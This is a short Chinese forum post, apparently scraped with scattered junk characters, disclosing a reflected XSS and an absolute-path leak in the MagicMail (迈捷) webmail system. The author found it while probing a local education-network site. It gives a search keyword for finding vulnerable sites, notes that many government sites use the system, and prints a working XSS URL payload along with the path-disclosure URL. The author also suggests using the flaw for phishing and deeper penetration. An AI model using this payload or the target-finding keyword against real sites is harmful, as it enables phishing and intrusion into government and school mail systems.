MagicMail迈捷邮件系统XSS及绝对路径漏洞

admin

今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
" ]& o! I9 I+ J+ t& n- ~* b/ ^* Z/ h

& l$ N; ?! r' q5 @包含  一个反射性XSS  以及  绝对路径泄漏
9 |2 u( y2 T; I/ e看了看 貌似全部是linux的。
7 h' w& d7 g/ t5 ?
5 e; }6 i# Q8 t- R! E) B7 r: u关键字：迈捷邮件系统 by MagicMail
1 c3 G; g8 l. W$ \
& T. r& R  b+ M3 T- _) y1 n可以看到很多政府网站都用这个邮件系统

绝对路径 http://madman.in/index.php?login_type=declare&language=



XSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E
/ \  W4 Z( e* Y5 A8 Y
' Z' C4 s3 j$ O' \4 M
1 W6 A& j1 ]9 t0 M+ b5 |' t
虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等
: V: O8 T' W/ j2 S. }
& E0 d2 V: [  I8 t, n修复方案：看官方补丁吧。